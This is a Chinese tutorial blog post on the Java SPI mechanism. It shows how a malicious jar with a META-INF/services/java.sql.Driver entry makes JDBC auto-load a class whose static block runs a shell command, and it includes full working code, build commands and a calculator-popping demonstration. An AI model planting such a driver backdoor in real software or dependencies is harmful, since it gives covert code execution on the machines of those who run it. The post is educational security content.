【Web】浅浅地聊JDBC java.sql.Driver的SPI后门

目录

SPI定义

SPI核心方法和类

最简单的SPIdemo演示

回顾JCBC基本流程

为什么JDBC要有SPI

JDBC java.sql.Driver后门利用与验证


SPI定义

SPI: Service Provider Interface
官方定义: 直译过来是服务提供者接口,学名为服务发现机制
它通过在ClassPath路径下的META-INF/services文件夹中查找文件(以接口名为文件名,以实现类全限定名为文件内容的文件),并自动加载文件里所定义的类

1.SPI机制能够使接口与具体的实现类解耦,可以根据实际的业务情况启用或替换具体组件
2.SPI机制为很多框架的拓展提供了可能
3.SPI机制更多是一种思想

SPI核心方法和类

Java SPI(Service Provider Interface)机制主要涉及以下几个核心方法和类:

① java.util.ServiceLoader:ServiceLoader 类是 Java SPI 机制的核心类,用于加载和管理服务提供者。它包含以下常用方法:
        load(Class<S> service):静态方法,用于加载实现了指定接口的服务提供者。
        iterator():返回一个迭代器,用于遍历加载的服务提供者实例。

② java.util.Iterator:Iterator 接口用于遍历集合中的元素,ServiceLoader 返回的迭代器实现了这个接口,常用方法包括:
        hasNext():判断是否还有下一个元素。
        next():返回下一个元素。

③ java.util.spi 包:这个包中包含了一些 SPI 相关的类,例如:
        AbstractProvider:用于创建服务提供者的抽象类。
        ResourceBundleControlProvider:用于提供自定义的 ResourceBundle.Control 对象。

④ META-INF/services/ 目录:在类路径下的 META-INF/services/ 目录中,通常会创建以接口全限定名命名的配置文件,用于指定实现了接口的服务提供者类。

最简单的SPIdemo演示

项目目录:

 META-INF/services/com.spi.SpiService

com.spi.SPI_1
com.spi.SPI_2

SpiService

package com.spi;public interface SpiService {public void run();
}

SPI_1

package com.spi;public class SPI_1 implements SpiService {@Overridepublic void run() {System.out.println("SPI_1 is running...");}
}

SPI_2

package com.spi;public class SPI_2 implements SpiService {@Overridepublic void run() {System.out.println("SPI_2 is running...");}
}

SpiTest

package com.spi;import java.util.ServiceLoader;public class SpiTest {public static void main(String[] args) {ServiceLoader<SpiService> serviceLoader = ServiceLoader.load(SpiService.class);for (SpiService spiService : serviceLoader) {spiService.run();}}
}

运行演示

回顾JCBC基本流程

1.加载数据库驱动程序:
首先,需要加载数据库厂商提供的 JDBC 驱动程序,以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。

2.建立数据库连接获得Connection对象:
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里,url 是数据库的地址、端口等连接信息,username 和 password 是登录数据库所需的用户名和密码。

3.创建 Statement 对象:
通过 Connection.createStatement() 方法创建一个 Statement 对象,用于向数据库发送 SQL 语句并执行查询。

4.执行 SQL 语句:
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句,或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。

5.处理结果集:
如果执行的是 SELECT 查询语句,会返回一个 ResultSet 对象,其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集,并通过 ResultSet.getXXX() 方法获取具体的字段值。

为什么JDBC要有SPI

以前我们使用JDBC访问Mysql数据库的时候,都会执行Class.forName("com.mysql.cj.jdbc.Driver"),这样就会实例化驱动类,同时也会执行驱动类中的static代码块中的DriverManager.registerDriver(new Driver()),将驱动类注册到Drivermanager中

但是将驱动类的全路径名称写到代码中,非常不方便。如果将类的全路径名写到配置文件中,虽然方便,但是还需要我们去记驱动类的全路径名

使用Java的SPI就可以解决这个问题。让Mysql驱动提供方同时提供驱动包和驱动配置文件,Java SPI通过类ClassLoader(通过getResource/getResources从指定位置读取classpath中的配置文件、可以加载类)自动从指定位置读取配置文件并进行驱动类的加载。这样就不用我们进行驱动类的加载了,而且Mysql驱动提供方能很方便的进行驱动的升级

JDBC java.sql.Driver后门利用与验证

数据库厂商提供的 JDBC 驱动程序通过在 JAR 包中的 META-INF/services/java.sql.Driver 文件中指定实现了 java.sql.Driver 接口的驱动程序类的方式来注册自己。JDBC 在启动时会使用 SPI 机制来动态加载这些驱动程序类,无需显式地调用 Class.forName 来加载驱动程序,从而实现了自动注册数据库驱动程序的功能。

这也为我们留下了后门,我们可以创建一个自己的恶意jar包传给JDBC,从而导致恶意类的加载,静态代码块的执行,开始复现!

先生成恶意的jar包

创建项目结构如下

 META-INF/services/java.sql.Driver

evil.MySQLDriver

MySQLDriver.java

package evil;import java.sql.*;
import java.util.*;
import java.util.logging.*;public class MySQLDriver implements java.sql.Driver {protected static boolean DEBUG = false;protected static final String WindowsCmd = "calc";protected static final String LinuxCmd = "open -a calculator";protected static  String shell;protected static  String args;protected static  String cmd;static{if(DEBUG){Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");}if( System.getProperty("os.name").toLowerCase().contains("windows") ){shell = "cmd.exe";args = "/c";cmd = WindowsCmd;} else {shell = "/bin/sh";args = "-c";cmd = LinuxCmd;}try{Runtime.getRuntime().exec(new String[] {shell, args, cmd});} catch(Exception ignored) {}}// JDBC methods belowpublic boolean acceptsURL(String url){if(DEBUG){Logger.getGlobal().info("acceptsURL() called: "+url);}return false;}public Connection connect(String url, Properties info){if(DEBUG){Logger.getGlobal().info("connect() called: "+url);}return null;}public int getMajorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 1;}public int getMinorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 0;}public Logger getParentLogger(){if(DEBUG){Logger.getGlobal().info("getParentLogger() called");}return null;}public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){if(DEBUG){Logger.getGlobal().info("getPropertyInfo() called: "+url);}return new DriverPropertyInfo[0];}public boolean jdbcCompliant(){if(DEBUG){Logger.getGlobal().info("jdbcCompliant() called");}return true;}
}

 依次运行下列代码

javac src/evil/MySQLDriver.javajar -cvf evil.jar -C src/ .

在项目目录得到evil.jar这个恶意jar包

然后在JDBC的项目中引入恶意jar包

package com.spi;import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;public class Jdbc_Demo {public static void main(String[] args) throws Exception {// 注册驱动(可以删去)
//        Class.forName("java.sql.Driver");// 获取数据库连接对象Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/security","root", "root");//  定义sql语句String sql = "select * from users";// 获取执行sql的对象StatementStatement stmt = con.createStatement();// 执行sqlResultSet res = stmt.executeQuery(sql);// 处理对象while(res.next()) {System.out.println(res.getString("username"));}// 释放资源res.close();stmt.close();con.close();}
}

 运行这段代码便可弹出计算器。

为了验证我们真的导入了恶意类作为jdbc的驱动,我们可以继续运行下面这段代码

package com.spi;import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;public class JdbcDriverList {public static void main(String[] args) {ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader( ));for(Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {Driver driver = iterator.next();System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());}}
}

结果如下,可见我们确实利用driver后门完成了一次偷梁换柱的利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/722775.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何在windows上像linux的ssh一样远程访问其它windows

主要分成两部分&#xff1a; 1. 如何远程执行指令 使用psexec&#xff0c;示例如下&#xff1a; PsExec64.exe \\远程计算机ip -u 用户名 -p 密码 -i cmd.exe 这样你就能连接到远程计算机上执行命令了&#xff0c;效果如下 2. 如何远程拷贝文件 分成两步&#xff1a; net…

【语法基础练习】1.变量、输入输出、表达式与顺序语句

&#x1f338;博主主页&#xff1a;釉色清风&#x1f338;文章专栏&#xff1a;算法练习&#x1f338;今日语录&#xff1a;You don’t know until you try. 文章简介&#xff1a;下面的题目是AcWing网站语法基础练习篇的第一小节&#xff0c;内容基础&#xff0c;难度&#xf…

计算机组成原理-累加器实验——沐雨先生

一、实验目的 1.理解累加器的概念和作用 2.连接运算器、存储器和累加器&#xff0c;熟悉计算机的数据通路 3.掌握使用微命令执行各种操作的方法。 二、实验要求 1.做好实验预习&#xff0c;读懂实验电路图&#xff0c;熟悉实验元器件的功能特性和使用方法。在实验之前设计…

list链表的创建,排序,插入, test ok

1. 链表的建立&#xff0c;打印 #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <stack> #include <iostream> #include <string.h> #include <string>using namespace std;struct node {int data;s…

Vue项目性能分析工具: vue-cli-plugin-webpack-bundle-analyzer

在优化项目的时候&#xff0c;每次打包后只知道包文件大&#xff0c;却不知道那个文件大&#xff0c;那个文件还有优化的空间&#xff0c;所以&#xff0c;推荐一款工具&#xff0c;只要在项目中安装配置一下&#xff0c;便可以一目了然的呈现出打包后资源所占的比例&#xff0…

军用技术民用开花,Shokz韶音要做下一个“AirPods”

Shokz韶音对打造消费级骨传导耳机的执念始于2007年。 在这之前&#xff0c;它已经成为亚洲最大的军用耳机生产商&#xff0c;以代工订单为主的商业模式是Shokz韶音的主营业务。虽然Shokz韶音靠代工赚得了第一桶金&#xff0c;但军用耳机的垂直细分市场容量有限&#xff0c;市场…

Python 实现冒泡排序算法

Python 实现冒泡排序算法 下面是用 Python 实现的冒泡排序算法示例代码&#xff1a; def bubble_sort(arr):n len(arr)# 遍历数组元素for i in range(n):# 每次遍历都将最大的元素移动到最后for j in range(0, n-i-1):# 如果相邻的元素逆序&#xff0c;则交换它们if arr[j] …

Kafka数据推送配置 | 如何设置账号密码验证?

背景&#xff1a;之前资产信息用网络接口进行数据推送&#xff0c;但是接口推送需要验证而且反应较慢。Kafak中间件提供了另一种可行的数据推送方式&#xff0c;它可以进行消息队列推送&#xff0c;且反应速度快。但是Kafka需部署在公网环境&#xff0c;并进行登录验证&#xf…

excel 动态列导出

excel动态列&#xff0c;只好用poi来写了&#xff0c;也并不复杂&#xff0c;一样就这个件事情抽像为几步&#xff0c;就是套路了&#xff0c;开发效率就上去了。 1 准备空模板 导出操作与excel模板的导出一样&#xff0c;可以参考excel导出标准化 2 自定义SheetWriteHandler …

网络信息安全:11个常见漏洞类型汇总

一、SQL注入漏洞 SQL注入攻击&#xff08;SQL Injection&#xff09;&#xff0c;简称注入攻击、SQL注入&#xff0c;被广泛用于非法获取网站控制权&#xff0c;是发生在应用程序的数据库层上的安全漏洞。 在设计程序&#xff0c;忽略了对输入字符串中夹带的SQL指令的检查&…

定时执行专家的主要功能和使用场景

定时执行专家是一款功能强大且实用的定时任务软件。它具有以下优点&#xff1a; 功能丰富: 支持多种定时模式、多种任务类型、丰富的触发方式、强大的日志功能等。易于使用: 操作界面简洁直观&#xff0c;易于上手。稳定可靠: 运行稳定可靠&#xff0c;可长期使用。 具体来说&…

【k8s管理--集群日志管理elk】

1、ELKF日志部署框架 使用docker部署的k8s集群所有的容器日志统一都在目录&#xff1a;/var/log/containers/1、filebeat是一个轻量级的日志手机工具&#xff0c;主要功能是收集日志2、logstash通可以收集日志&#xff0c;也可以进行数据清洗&#xff0c;但是一般不用logstash来…

WordPress 从入门到精通【设置 WordPress】

前言&#xff1a;为方便演示&#xff0c;前几张图使用 Playground 环境截取 如果你还不会部署WordPress&#xff0c;请看下面的链接并使用雨云可视化构建一个WordPress站点&#xff1a; 超简单EP面板搭建WordPress网站教程 - 风屿岛 10 (biliwind.com) 进入仪表盘 在搭建完…

分享Web.dev.cn中国开发者可以正常访问

谷歌开发者很高兴地宣布&#xff0c;web.dev 和 Chrome for Developers 现在都可以通过 .cn 域名访问&#xff0c;这将帮助中国的开发者更加容易获取我们的内容。 在 .cn 域名上&#xff0c;我们已向您提供所有镜像后的内容&#xff0c;并提供支持的语言版本。 Web.dev 中国开…

房屋中介服务平台的设计与实现(含源文件)

项目源码&#xff1a;https://gitee.com/oklongmm/biye2 在设计一个房屋中介服务平台时&#xff0c;我们需要考虑系统的可扩展性&#xff0c;易用性和稳定性。以下是系统设计的主要功能模块&#xff1a; 一、用户模块&#xff1a; 用户注册与登录&#xff1a;提供用户注册和登…

leetcode 经典题目42.接雨水

链接&#xff1a;https://leetcode.cn/problems/trapping-rain-water 题目描述 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水。 思路分析 首先&#xff0c;我们需要遍历数组&#xff0c;对于每个元素&am…

特种车日常检修VR虚拟互动培训软件节省大量的教学资源和成本

随着科技的不断发展&#xff0c;虚拟现实(VR)技术已经逐渐融入了各行各业&#xff0c;其中特种车辆的养护教学也从中受益匪浅。VR虚拟仿真教学在特种车辆养护领域的应用&#xff0c;不仅创新了教学方式&#xff0c;还为提高学员的学习效果和实际操作技能提供了强有力的支持。 特…

05-prometheus的联邦模式-分布式监控

一、联邦模式概述 1&#xff0c;架构介绍 由于&#xff0c;在大型企业中&#xff0c;被监控项目比较多&#xff0c;多到一台prometheus服务无法承载其大量的监控数据的传输&#xff0c;所以&#xff0c;联邦模式应运而生&#xff0c;它同等于zabbix监控的分布式&#xff0c;就…

【代码随想录算法训练营Day37】738.单调递增的数字;总结

文章目录 ❇️Day 37 第八章 贪心算法 part06✴️今日任务❇️738.单调递增的数字自己的思路自己的代码&#xff08;✅通过94.27%&#xff09;随想录思路随想录代码 ☑️968.监控二叉树 &#xff08;可以跳过&#xff09;&#x1f234;总结 ❇️Day 37 第八章 贪心算法 part06 …

sentinel docker 基础配置学习

1&#xff1a;去官网下载 Releases alibaba/Sentinel GitHub 2&#xff1a;保存到linux 3&#xff1a;编写dockerfile FROM openjdk:8-jreLABEL authors"xxx" #第二步创建一个文件夹Z RUN mkdir /app #第三步复制jar 到app 下 COPY xxxxxx-1.8.7.jar /app/#第四…